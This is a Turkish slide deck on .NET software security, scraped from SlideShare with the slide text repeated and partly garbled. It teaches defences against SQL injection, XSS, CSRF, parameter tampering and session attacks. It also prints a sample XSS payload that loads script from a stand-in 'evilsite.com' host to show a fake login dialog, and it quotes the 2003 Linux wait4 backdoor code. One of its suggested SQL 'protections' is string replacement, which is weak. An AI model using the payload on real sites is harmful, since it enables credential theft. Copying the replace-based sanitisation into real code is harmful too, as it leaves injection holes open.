ºÝºÝߣ

ºÝºÝߣShare a Scribd company logo
.Net ile Yazılım
Güvenliği
A.Kutlu Ersoy,MSc.
.Net ile Yazılım Güvenliği
• Güvenli Uygulama ne demektir?
o Ağ Güvenliği
o Sistem Güvenliği
o Uygulama Güvenliği
o Veritabanı Güvenliği
o Disk Güvenliği
o Servis Güvenliği
o Kod Güvenliği
• Kriptografi (Şifreleme) Teknikleri
• Saldırıları Tanıma
• Korunma Yöntemleri
Neden güvenliğe
ihtiyacımız var?
1. Hidden Trapdoor in Linux, Nov 2003
Wait4() fonksiyonunun içine :
if( ((options == (-WCLONE | -WALL )) && (current -> uid = 0))
retval = -EINVAL;
Kullanımı : wait4(tmp,NULL,__WALL|__WCLONE,NULL);
2. ROB HARRIS CASE : Slot Machines
o Gaming Control Board ( bu cihazları test eden rob test ederken programa
kod ekleyip para atma sequence’ına gore kazanma durumuna geçiyor
makina)bir kiÅŸi bir seferde 100bin dolar kazanana kadar farkedilmiyor
3. CRISTOPHER HARN -> at yarışlarında telefon ile kayıt alan bir
sistemde telefon ÅŸirketinden itibaren kazanan kombinasyona
gore girişi değiştirecek kodu yazıyor.bir seferde 3milyon dolar
kazanana kadar farkedilmiyor)
Saldırıların artmasının
ardında yatan sebepler:
• Güvenlik konusunun akademik olarak tam anlamıyla
iÅŸlenmemesi
• Programlama kitaplarında güvenlik konularının
geçmemesi
• Oditing mekanizmasının olmaması (Attackların geç
farkedilmesi)
• C programlama dilinin unsafe çalışması*
• Programcılar üşengeçtirler, nasıl olsa buraya birşey olmaz
• Değiştirilmesi imkansız olan, içinde açıklar olan özellikle
eski programlar
• Müşterilerin güvenliği önemsememesi
• Güvenliğin sağlanması ek zaman ve maliyet gerektiriyor
Ağ ve Sistem Güvenliği
• Yazılımcı açısından bilinmesi gerekenler
• APN
• DOS Attacks .... Syn proxy ile korunma
• Windows Patches
• Malware & Virus
• Penetrasyon testi
Uygulama Güvenliği
• IIS nedir?
• ApplicationDomain nedir?
• Anonymous Access enabled =>
IUSR_MACHINENAME
• Authentication
Anonymous Authentication
Basic Authentication
Integrated Windows Authentication
Digest Authentication
Uygulama Güvenliği
• Anonymous Authentication: tüm kullanıcılar siteye erişir.
• Basic Authentication: Windows logini ile authentikasyon
yapılır. Siteye bağlanıldığında dialog box ile kullanıcı adı
şifre ekranı açılır.
• Digest Authentication: Basic Authentication gibi çalışır
fakat authentication verisi sunucuya açık metin yerine
hash kodu ile iletilir.
• Forms Authentication: ASP.NET’s kendi authentication
modelidir, login page ile giriş yapılmasını sağlar
• Windows Authentication: NTLM veya Kerberos üzerinden
Windows authentication protokolünü kullanır.
Uygulama Güvenliği
• web.config authorization
• Web.config authentication providers :
o Windows (default)
o Forms
o Passport
o None
<system.web>
<!-- mode=[Windows|Forms|Passport|None] -->
<authentication mode="Windows" />
</system.web>
• Event logging
Uygulama Güvenliği
• Sertifika kullanımı
o VERISIGN
o GEOTRUST
o COMODO
o GLOBALSIGN
o vs...
o TurkTrust : http://www.turktrust.com.tr/ssl-destek-iis7-ssl-yukleme.html
o E-Guven
o KamuSM
Kriptografi
• Hashing (MD5 => SHA-2(c# : SHA512Managed))
o Password Hashing
o URL Hashing
• Örnek uygulama...
Kriptografi
• Zaman Damgası
• Örnek uygulama...
• Simetrik(ör: DES, 3DES, AES : Rijndael, RC4, vs.)
Rijndael Key length
128, 192 and 256 bit
• Asimetrik Şifreleme (ör:DSA, RSA)
Kriptografi
Kriptografi
• E-İmza
• Kullanacağınız sertifikaları Devlet'in sertifika
dağıtmaya izin verdiği belirli ESHS adı verilen
kuruluşlardan alabilirsiniz. Bunların dışındaki yerlerden
aldığınız (Verisign gibi) sertifikalar yasal olarak
anlamlı değildir.
• https://yazilim.kamusm.gov.tr/
Kriptografi
• E-İmza ile nasıl imza atılır?
byte[] data = Encoding.Unicode.GetBytes(this.txtSend.Text);
//sha1 crypto service, digital signatures are created from the hash
SHA1 sha = new SHA1CryptoServiceProvider();
byte[] hash = sha.ComputeHash(data);
//Create a new instance of DSACryptoServiceProvider.
//DSA contains asymmetric public and private key information
DSACryptoServiceProvider DSA = new DSACryptoServiceProvider();
//TODO, load the sender private key into DSACryptoService here.
//Create an DSASignatureFormatter object and pass it the
//DSACryptoServiceProvider to transfer the key information.
DSASignatureFormatter DSAFormatter = new DSASignatureFormatter(DSA);
//Set the hash algorithm to SHA1.
DSAFormatter.SetHashAlgorithm("SHA1");
//Create a signature from the hash
byte[] signature = DSAFormatter.CreateSignature(hash);
Kriptografi
• E-İmza nasıl doğrulanır?
byte[] data = Encoding.Unicode.GetBytes(this.txtRecieved.Text);
//sha1 crypto service, digital signatures are created from the hash
SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash =
sha.ComputeHash(data);
//Create an DSASignatureDeformatter object and pass it the
//DSACryptoServiceProvider to transfer the key information.
DSASignatureDeformatter DSADeformatter = new
DSASignatureDeformatter(DSA); //Create a new instance of
DSACryptoServiceProvider. //DSA contains asymmetric public and
private key information DSACryptoServiceProvider DSA = new
DSACryptoServiceProvider(); //TODO, the sender public key into
DSACryptoService here. //get the signature sent with the message
byte[] signature = GetMessageDigitalSignature(); //Verify the hash
and the signature if (DSADeformatter.VerifySignature(hash,
signature)) { MessageBox.Show("The signature was verified."); } else {
MessageBox.Show("The signature was not verified."); }
Kod Güvenliği
• Disassembler ile kodun açılmasına karşı önlemler
o .Net Protector
o IL Protector
o SmartAssembly
o Xenecode Fox
** Reflector ile açılmaya karşı önlem alınmamış exe/dll leri açar ve içindeki
kodu deÄŸiÅŸtirebiliriz.
*** Web projelerinde publish işleminden sonra oluşan ana kütüphane
parçalarını birleştirmek için : «aspnet_merge . -o ProjeAdi.dll» kullanırsınız.
Ana dll ve referans dll lerini SmartAssembly tarzı programlarla merge ve kod
encrypt yapabilirsiniz.
HttpHandler
• Dosyalara erişimi kontrol altına almak için
kullanılabilir.
• Portal sitelerinde ürün resmi üzerine brand eklemek
için kullanılabilir.
• Örnek uygulama...
WCF - Servis Güvenliği
• İstemci – Servis iletişimi güvenliği :
Message Level – Transport Level
• Authantication:Windows, Kullanıcı Adı/ Şifre,
X509(Sertifika), Özel(Biometric), None
• http://codebetter.com/petervanooijen/2010/03/22
/a-simple-wcf-service-with-username-password-
authentication-the-things-they-don-t-tell-you/
Sql injection
• Web Uygulama Güvenliği Konsorsiyum'una (WASC)
göre 27 Temmuz 2006 tarihine kadar medyada
rapor edilen hack olaylarının %9'u SQL Enjeksiyon
saldırılarından kaynaklanmıştı. Araştırmalarda elde
edilen daha güncel veriler web sitelerinin %50'sinin
SQL Injection saldırılarından etkilendiğini ortaya
koydu.
Sql injection
• En popüler otomatik web uygulama güvenliği
tarayıcılarından bazıları:
Acunetix
Watchfire
WebInspect
• Kaynak: http://www.acunetix.com/websitesecurity/
sql-injection2.htm
Sql injection
• Db üzerinden administrator hakkı ile neler yapılabilir?
o Install backdoors
o Transfer an entire database over port 80
o Install network sniffers to steal passwords and other sensitive data
o Crack passwords
o Enumerate your internal network, including scanning the ports of other
machines
o Download files
o Run programs
o Delete files
o Become part of a botnet
o Query autocomplete passwords stored on the system
o Create new users
o Create, delete and edit data; create and drop tables
Sql injection
• Nasıl korunurum ?
• 1.string safeSql = "select * from users where loginId = " + userInp
ut.Replace("—-", "") .Replace("'","''") .Replace("%","");
• 2. Parameterized Query / SP / sp_executesql
DECLARE @name varchar(20)
DECLARE @sql nvarchar(500)
DECLARE @parameter nvarchar(500)
/* Build the SQL string one time.*/
SET @sql= N'SELECT * FROM Customer WHERE FirstName Like @Na
me Or LastName Like @Name +''%''';
SET @parameter= N'@Name varchar(20)';
/* Execute the string with the first parameter value. */
SET @name = 'm%';
EXECUTE sp_executesql @sql, @parameter, @Name = @name;
• 3. Kullanıcının yetkilerini kısıtlama : DataReader, DataWriter
Cross-Site Scripting (XSS)
• Nedir? Kullanıcı browserına zararlı script enjekte etmektir.
• Reflected(js ile sayfaya script gömme) vs
Consistent(bu scriptin dbye yazılmasıdır artık geçmiş
olsun)
http://yoursite.com/editProduct.aspx?msg=Ürün bilgisi
güncellendi
<div class="messages"> <%=Request.QueryString["msg"]%><
/div>
Nasıl kullanılır?
msg=<script
src=/slideshow/net-ile-yazlm-gvenlii/24047516/‘http:/evilsite.com/evil.js’>ShowFakeLoginDialog()
İle kendi login ekranını açtırır, bu dialogu sitenin veya banka
login ekranına benzetir.
Hata 2 : <img onmouseover=alert([user supplied text])>
Cross-Site Scripting (XSS)
En çok forum sitelerinde karşılaşılır.string herhangi bir
değer html encoded dan geçmemiş ise bu saldırıya
açıktır.
Neler Yapabilirim :
• Cookilere ulaşırım
• Login bilgilerini alırım
Cross-Site Scripting (XSS)
Nasıl Tespit Ederim:
ZAP: Zed Attack
Proxy toolu ile
tarama yaparım.
Cross-Site Scripting (XSS)
• Nasıl korunurum ?
• 1. Outputlarımın HTML-Encoded olduğunu kontrol
etmeliyim.(HttpUtility.HtmlEncode, HttpUtility.UrlEncode)
• 2. Kullanıcının girdiği stringi HTML Element
attributelarına set etmem.
• 3. Request.Browser ile IE6 kullanımını kısıtlarım.
• 4. Web.configde veya pagede
ValidateRequest=‘false’ yapmamalıyım.
• 5. frame ve iframe’de security bilgisi ekle.
<frame security="restricted" src=/slideshow/net-ile-yazlm-gvenlii/24047516/"http:/www.somesite.com/somepage.htm"></frame>
Cross-Site Scripting (XSS)
• Nasıl korunurum ?
• 6. ASP.NET MVC 3’de
public class BlogEntry
{
public int UserId {get;set;}
[AllowHtml]
public string BlogText {get;set;}
}
Cross-Site Request
Forgery (CSRF)
Admin yetkisi ile yaptığın işlem ile ilgili olarak sana
gönderilen bir mail içinde
<img src=/slideshow/net-ile-yazlm-gvenlii/24047516/& />
kodu bulunuyor, farkında olmadan çalıştırmış
oluyorsun.
Nasıl önlerim?
GET ile herhangi bir operasyon yapacak kod
yazmamalıyım.
Cross-Site Request
Forgery (CSRF)
void Page_Init(object sender, EventArgs e)
{
if (Session.IsNewSession)
{
// Force session to be created;
// otherwise the session ID changes on every request.
Session["ForceSession"] = DateTime.Now;
}
// 'Sign' the viewstate with the current session.
this.ViewStateUserKey = Session.SessionID;
if (Page.EnableViewState)
{
// Make sure ViewState wasn't passed on the querystring.
// This helps prevent one-click attacks.
if (!string.IsNullOrEmpty(Request.Params["__VIEWSTATE"]) &&
string.IsNullOrEmpty(Request.Form["__VIEWSTATE"]))
{
throw new Exception("Viewstate existed, but not on the form.");
}
}
}
Cross-Site Request
Forgery (CSRF)
MVC de CSRFi önlemek için ne eklemeliyim?
@using (Html.BeginForm())
{
@Html.AntiForgeryToken();
@Html.EditorForModel();
<input type="submit" value="Submit" />
}
Decorate any controllers that accept post data with the [Validat
e-AntiForgeryToken], like so:
[HttpPost]
[ValidateAntiForgeryToken()]
public ActionResult Index(User user)
{
...
}
Parametrelerle Oynama
(Parameter Tampering)
• http://server/EditUser.aspx?userID=15
string userId = Request.QueryString["userId"];
var user = LoadUser(userId);
Hata 2. Hidden da userID’yi tutmak
Çözüm : UserID’yi authantication mekanizmasından almak, diğer formlarda
ID’yi validasyon functiondan geçirmek.(sessiondan kontrol edebilirsin).
• MVC’de binding security kontrolü için :
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit([Bind(Exclude="UserId")] Order order)
{ ....
Save();
}
Broken Authentication
and Session Management
• Tam olarak güvenliği sağlanmamış ( örneğin md5
veya benzeri bir algoritma ile korunmamış) oturum
nesneleri ve çerezlerinin ele geçirilip kötü amaçlar
için kullanılmasıdır.
Broken Authentication
and Session Management
• Kullanıcı şifreleri hashli veya encrypted mı tutuluyor?
• Kullanıcı adı ve şifreler tahmin edilebilir mi? Veya
CSRF ile deÄŸiÅŸtirilebiliyor mu?
• Parameter tempering ile kullanıcı id değiştirilebiliyor
mu?
• Session timeout set edildi mi?
• Nasıl tespit ederim? Firefox HackBar plug-in’i kurar
ve kullanırım.
Insecure Direct Object
References
• Resourceslara veya sayfalara yetkisiz erişimi kontrol
etmeliyim.
• Sayfalara erişim için kontrol ettim ama resource
dosyalarına erişim için ne yapabilirim? httpHandler
• Nasıl tespit ederim? Burp Suite uygulaması ile
tarama yaparım.
Security Misconfiguration
• Path traversal bunlardan biridir. IIS de IISPool
kullanıcısı ile çalıştığından roota çıkamaz, kendi
userımı açıyorsan uygulama için o zaman klasor
yetkilendirmesini de yapmalıyım.
• OS, DB, Firewall, IIS güncellemelerini güncel
tutmalıyım.
• Kullanılmayan portlar, servisler, sayfalar, hesaplar ve
yetkiler kaldırılmalıyım, ayrılan kullanıcının
accountunu durdurmalıyım.
• Nasıl kontrol ederim? Watobo
Sensitive Data Exposure
(Hassas veriyi açıkta bırakma)
• Kredi kartı, kişisel bilgi, hasta bilgileri, vergi bilgileri
gibi dataların açıkta bırakılmasından kaynaklanır.
Attackerların tespit etmesi kolay değildir.
• Bu bilgilerin dışarıdan öğrenilmesi, hukuksal veya
mali ne kadar bize zarar verir?
• İçerdeki saldırıları göz önünde bulundurmalıyım.
Sensitive Data Exposure
(Hassas veriyi açıkta bırakma)
• Nasıl korunurum?
• Sertifika kullanırım.
• Autocomplete’i ilgili sayfalarda kapatırım.
<form id="Form1" method="post" runat="server"
autocomplete="off">
<asp:TextBox Runat="server" ID="Textbox1"
autocomplete="off"></asp:TextBox>
Captcha
• Örnek uygulama...

More Related Content

.Net ile yazılım güvenliği

  • 2. .Net ile Yazılım GüvenliÄŸi • Güvenli Uygulama ne demektir? o AÄŸ GüvenliÄŸi o Sistem GüvenliÄŸi o Uygulama GüvenliÄŸi o Veritabanı GüvenliÄŸi o Disk GüvenliÄŸi o Servis GüvenliÄŸi o Kod GüvenliÄŸi • Kriptografi (Åžifreleme) Teknikleri • Saldırıları Tanıma • Korunma Yöntemleri
  • 3. Neden güvenliÄŸe ihtiyacımız var? 1. Hidden Trapdoor in Linux, Nov 2003 Wait4() fonksiyonunun içine : if( ((options == (-WCLONE | -WALL )) && (current -> uid = 0)) retval = -EINVAL; Kullanımı : wait4(tmp,NULL,__WALL|__WCLONE,NULL); 2. ROB HARRIS CASE : Slot Machines o Gaming Control Board ( bu cihazları test eden rob test ederken programa kod ekleyip para atma sequence’ına gore kazanma durumuna geçiyor makina)bir kiÅŸi bir seferde 100bin dolar kazanana kadar farkedilmiyor 3. CRISTOPHER HARN -> at yarışlarında telefon ile kayıt alan bir sistemde telefon ÅŸirketinden itibaren kazanan kombinasyona gore giriÅŸi deÄŸiÅŸtirecek kodu yazıyor.bir seferde 3milyon dolar kazanana kadar farkedilmiyor)
  • 4. Saldırıların artmasının ardında yatan sebepler: • Güvenlik konusunun akademik olarak tam anlamıyla iÅŸlenmemesi • Programlama kitaplarında güvenlik konularının geçmemesi • Oditing mekanizmasının olmaması (Attackların geç farkedilmesi) • C programlama dilinin unsafe çalışması* • Programcılar üşengeçtirler, nasıl olsa buraya birÅŸey olmaz • DeÄŸiÅŸtirilmesi imkansız olan, içinde açıklar olan özellikle eski programlar • Müşterilerin güvenliÄŸi önemsememesi • GüvenliÄŸin saÄŸlanması ek zaman ve maliyet gerektiriyor
  • 5. AÄŸ ve Sistem GüvenliÄŸi • Yazılımcı açısından bilinmesi gerekenler • APN • DOS Attacks .... Syn proxy ile korunma • Windows Patches • Malware & Virus • Penetrasyon testi
  • 6. Uygulama GüvenliÄŸi • IIS nedir? • ApplicationDomain nedir? • Anonymous Access enabled => IUSR_MACHINENAME • Authentication Anonymous Authentication Basic Authentication Integrated Windows Authentication Digest Authentication
  • 7. Uygulama GüvenliÄŸi • Anonymous Authentication: tüm kullanıcılar siteye eriÅŸir. • Basic Authentication: Windows logini ile authentikasyon yapılır. Siteye baÄŸlanıldığında dialog box ile kullanıcı adı ÅŸifre ekranı açılır. • Digest Authentication: Basic Authentication gibi çalışır fakat authentication verisi sunucuya açık metin yerine hash kodu ile iletilir. • Forms Authentication: ASP.NET’s kendi authentication modelidir, login page ile giriÅŸ yapılmasını saÄŸlar • Windows Authentication: NTLM veya Kerberos üzerinden Windows authentication protokolünü kullanır.
  • 8. Uygulama GüvenliÄŸi • web.config authorization • Web.config authentication providers : o Windows (default) o Forms o Passport o None <system.web> <!-- mode=[Windows|Forms|Passport|None] --> <authentication mode="Windows" /> </system.web> • Event logging
  • 9. Uygulama GüvenliÄŸi • Sertifika kullanımı o VERISIGN o GEOTRUST o COMODO o GLOBALSIGN o vs... o TurkTrust : http://www.turktrust.com.tr/ssl-destek-iis7-ssl-yukleme.html o E-Guven o KamuSM
  • 10. Kriptografi • Hashing (MD5 => SHA-2(c# : SHA512Managed)) o Password Hashing o URL Hashing • Örnek uygulama...
  • 12. • Simetrik(ör: DES, 3DES, AES : Rijndael, RC4, vs.) Rijndael Key length 128, 192 and 256 bit • Asimetrik Åžifreleme (ör:DSA, RSA) Kriptografi
  • 13. Kriptografi • E-Ä°mza • Kullanacağınız sertifikaları Devlet'in sertifika dağıtmaya izin verdiÄŸi belirli ESHS adı verilen kuruluÅŸlardan alabilirsiniz. Bunların dışındaki yerlerden aldığınız (Verisign gibi) sertifikalar yasal olarak anlamlı deÄŸildir. • https://yazilim.kamusm.gov.tr/
  • 14. Kriptografi • E-Ä°mza ile nasıl imza atılır? byte[] data = Encoding.Unicode.GetBytes(this.txtSend.Text); //sha1 crypto service, digital signatures are created from the hash SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash = sha.ComputeHash(data); //Create a new instance of DSACryptoServiceProvider. //DSA contains asymmetric public and private key information DSACryptoServiceProvider DSA = new DSACryptoServiceProvider(); //TODO, load the sender private key into DSACryptoService here. //Create an DSASignatureFormatter object and pass it the //DSACryptoServiceProvider to transfer the key information. DSASignatureFormatter DSAFormatter = new DSASignatureFormatter(DSA); //Set the hash algorithm to SHA1. DSAFormatter.SetHashAlgorithm("SHA1"); //Create a signature from the hash byte[] signature = DSAFormatter.CreateSignature(hash);
  • 15. Kriptografi • E-Ä°mza nasıl doÄŸrulanır? byte[] data = Encoding.Unicode.GetBytes(this.txtRecieved.Text); //sha1 crypto service, digital signatures are created from the hash SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash = sha.ComputeHash(data); //Create an DSASignatureDeformatter object and pass it the //DSACryptoServiceProvider to transfer the key information. DSASignatureDeformatter DSADeformatter = new DSASignatureDeformatter(DSA); //Create a new instance of DSACryptoServiceProvider. //DSA contains asymmetric public and private key information DSACryptoServiceProvider DSA = new DSACryptoServiceProvider(); //TODO, the sender public key into DSACryptoService here. //get the signature sent with the message byte[] signature = GetMessageDigitalSignature(); //Verify the hash and the signature if (DSADeformatter.VerifySignature(hash, signature)) { MessageBox.Show("The signature was verified."); } else { MessageBox.Show("The signature was not verified."); }
  • 16. Kod GüvenliÄŸi • Disassembler ile kodun açılmasına karşı önlemler o .Net Protector o IL Protector o SmartAssembly o Xenecode Fox ** Reflector ile açılmaya karşı önlem alınmamış exe/dll leri açar ve içindeki kodu deÄŸiÅŸtirebiliriz. *** Web projelerinde publish iÅŸleminden sonra oluÅŸan ana kütüphane parçalarını birleÅŸtirmek için : «aspnet_merge . -o ProjeAdi.dll» kullanırsınız. Ana dll ve referans dll lerini SmartAssembly tarzı programlarla merge ve kod encrypt yapabilirsiniz.
  • 17. HttpHandler • Dosyalara eriÅŸimi kontrol altına almak için kullanılabilir. • Portal sitelerinde ürün resmi üzerine brand eklemek için kullanılabilir. • Örnek uygulama...
  • 18. WCF - Servis GüvenliÄŸi • Ä°stemci – Servis iletiÅŸimi güvenliÄŸi : Message Level – Transport Level • Authantication:Windows, Kullanıcı Adı/ Åžifre, X509(Sertifika), Özel(Biometric), None • http://codebetter.com/petervanooijen/2010/03/22 /a-simple-wcf-service-with-username-password- authentication-the-things-they-don-t-tell-you/
  • 19. Sql injection • Web Uygulama GüvenliÄŸi Konsorsiyum'una (WASC) göre 27 Temmuz 2006 tarihine kadar medyada rapor edilen hack olaylarının %9'u SQL Enjeksiyon saldırılarından kaynaklanmıştı. AraÅŸtırmalarda elde edilen daha güncel veriler web sitelerinin %50'sinin SQL Injection saldırılarından etkilendiÄŸini ortaya koydu.
  • 20. Sql injection • En popüler otomatik web uygulama güvenliÄŸi tarayıcılarından bazıları: Acunetix Watchfire WebInspect • Kaynak: http://www.acunetix.com/websitesecurity/ sql-injection2.htm
  • 21. Sql injection • Db üzerinden administrator hakkı ile neler yapılabilir? o Install backdoors o Transfer an entire database over port 80 o Install network sniffers to steal passwords and other sensitive data o Crack passwords o Enumerate your internal network, including scanning the ports of other machines o Download files o Run programs o Delete files o Become part of a botnet o Query autocomplete passwords stored on the system o Create new users o Create, delete and edit data; create and drop tables
  • 22. Sql injection • Nasıl korunurum ? • 1.string safeSql = "select * from users where loginId = " + userInp ut.Replace("—-", "") .Replace("'","''") .Replace("%",""); • 2. Parameterized Query / SP / sp_executesql DECLARE @name varchar(20) DECLARE @sql nvarchar(500) DECLARE @parameter nvarchar(500) /* Build the SQL string one time.*/ SET @sql= N'SELECT * FROM Customer WHERE FirstName Like @Na me Or LastName Like @Name +''%'''; SET @parameter= N'@Name varchar(20)'; /* Execute the string with the first parameter value. */ SET @name = 'm%'; EXECUTE sp_executesql @sql, @parameter, @Name = @name; • 3. Kullanıcının yetkilerini kısıtlama : DataReader, DataWriter
  • 23. Cross-Site Scripting (XSS) • Nedir? Kullanıcı browserına zararlı script enjekte etmektir. • Reflected(js ile sayfaya script gömme) vs Consistent(bu scriptin dbye yazılmasıdır artık geçmiÅŸ olsun) http://yoursite.com/editProduct.aspx?msg=Ãœrün bilgisi güncellendi <div class="messages"> <%=Request.QueryString["msg"]%>< /div> Nasıl kullanılır? msg=<script src=/slideshow/net-ile-yazlm-gvenlii/24047516/‘http:/evilsite.com/evil.js’>ShowFakeLoginDialog() Ä°le kendi login ekranını açtırır, bu dialogu sitenin veya banka login ekranına benzetir. Hata 2 : <img onmouseover=alert([user supplied text])>
  • 24. Cross-Site Scripting (XSS) En çok forum sitelerinde karşılaşılır.string herhangi bir deÄŸer html encoded dan geçmemiÅŸ ise bu saldırıya açıktır. Neler Yapabilirim : • Cookilere ulaşırım • Login bilgilerini alırım
  • 25. Cross-Site Scripting (XSS) Nasıl Tespit Ederim: ZAP: Zed Attack Proxy toolu ile tarama yaparım.
  • 26. Cross-Site Scripting (XSS) • Nasıl korunurum ? • 1. Outputlarımın HTML-Encoded olduÄŸunu kontrol etmeliyim.(HttpUtility.HtmlEncode, HttpUtility.UrlEncode) • 2. Kullanıcının girdiÄŸi stringi HTML Element attributelarına set etmem. • 3. Request.Browser ile IE6 kullanımını kısıtlarım. • 4. Web.configde veya pagede ValidateRequest=‘false’ yapmamalıyım. • 5. frame ve iframe’de security bilgisi ekle. <frame security="restricted" src=/slideshow/net-ile-yazlm-gvenlii/24047516/"http:/www.somesite.com/somepage.htm"></frame>
  • 27. Cross-Site Scripting (XSS) • Nasıl korunurum ? • 6. ASP.NET MVC 3’de public class BlogEntry { public int UserId {get;set;} [AllowHtml] public string BlogText {get;set;} }
  • 28. Cross-Site Request Forgery (CSRF) Admin yetkisi ile yaptığın iÅŸlem ile ilgili olarak sana gönderilen bir mail içinde <img src=/slideshow/net-ile-yazlm-gvenlii/24047516/& /> kodu bulunuyor, farkında olmadan çalıştırmış oluyorsun. Nasıl önlerim? GET ile herhangi bir operasyon yapacak kod yazmamalıyım.
  • 29. Cross-Site Request Forgery (CSRF) void Page_Init(object sender, EventArgs e) { if (Session.IsNewSession) { // Force session to be created; // otherwise the session ID changes on every request. Session["ForceSession"] = DateTime.Now; } // 'Sign' the viewstate with the current session. this.ViewStateUserKey = Session.SessionID; if (Page.EnableViewState) { // Make sure ViewState wasn't passed on the querystring. // This helps prevent one-click attacks. if (!string.IsNullOrEmpty(Request.Params["__VIEWSTATE"]) && string.IsNullOrEmpty(Request.Form["__VIEWSTATE"])) { throw new Exception("Viewstate existed, but not on the form."); } } }
  • 30. Cross-Site Request Forgery (CSRF) MVC de CSRFi önlemek için ne eklemeliyim? @using (Html.BeginForm()) { @Html.AntiForgeryToken(); @Html.EditorForModel(); <input type="submit" value="Submit" /> } Decorate any controllers that accept post data with the [Validat e-AntiForgeryToken], like so: [HttpPost] [ValidateAntiForgeryToken()] public ActionResult Index(User user) { ... }
  • 31. Parametrelerle Oynama (Parameter Tampering) • http://server/EditUser.aspx?userID=15 string userId = Request.QueryString["userId"]; var user = LoadUser(userId); Hata 2. Hidden da userID’yi tutmak Çözüm : UserID’yi authantication mekanizmasından almak, diÄŸer formlarda ID’yi validasyon functiondan geçirmek.(sessiondan kontrol edebilirsin). • MVC’de binding security kontrolü için : [HttpPost] [ValidateAntiForgeryToken] public ActionResult Edit([Bind(Exclude="UserId")] Order order) { .... Save(); }
  • 32. Broken Authentication and Session Management • Tam olarak güvenliÄŸi saÄŸlanmamış ( örneÄŸin md5 veya benzeri bir algoritma ile korunmamış) oturum nesneleri ve çerezlerinin ele geçirilip kötü amaçlar için kullanılmasıdır.
  • 33. Broken Authentication and Session Management • Kullanıcı ÅŸifreleri hashli veya encrypted mı tutuluyor? • Kullanıcı adı ve ÅŸifreler tahmin edilebilir mi? Veya CSRF ile deÄŸiÅŸtirilebiliyor mu? • Parameter tempering ile kullanıcı id deÄŸiÅŸtirilebiliyor mu? • Session timeout set edildi mi? • Nasıl tespit ederim? Firefox HackBar plug-in’i kurar ve kullanırım.
  • 34. Insecure Direct Object References • Resourceslara veya sayfalara yetkisiz eriÅŸimi kontrol etmeliyim. • Sayfalara eriÅŸim için kontrol ettim ama resource dosyalarına eriÅŸim için ne yapabilirim? httpHandler • Nasıl tespit ederim? Burp Suite uygulaması ile tarama yaparım.
  • 35. Security Misconfiguration • Path traversal bunlardan biridir. IIS de IISPool kullanıcısı ile çalıştığından roota çıkamaz, kendi userımı açıyorsan uygulama için o zaman klasor yetkilendirmesini de yapmalıyım. • OS, DB, Firewall, IIS güncellemelerini güncel tutmalıyım. • Kullanılmayan portlar, servisler, sayfalar, hesaplar ve yetkiler kaldırılmalıyım, ayrılan kullanıcının accountunu durdurmalıyım. • Nasıl kontrol ederim? Watobo
  • 36. Sensitive Data Exposure (Hassas veriyi açıkta bırakma) • Kredi kartı, kiÅŸisel bilgi, hasta bilgileri, vergi bilgileri gibi dataların açıkta bırakılmasından kaynaklanır. Attackerların tespit etmesi kolay deÄŸildir. • Bu bilgilerin dışarıdan öğrenilmesi, hukuksal veya mali ne kadar bize zarar verir? • İçerdeki saldırıları göz önünde bulundurmalıyım.
  • 37. Sensitive Data Exposure (Hassas veriyi açıkta bırakma) • Nasıl korunurum? • Sertifika kullanırım. • Autocomplete’i ilgili sayfalarda kapatırım. <form id="Form1" method="post" runat="server" autocomplete="off"> <asp:TextBox Runat="server" ID="Textbox1" autocomplete="off"></asp:TextBox>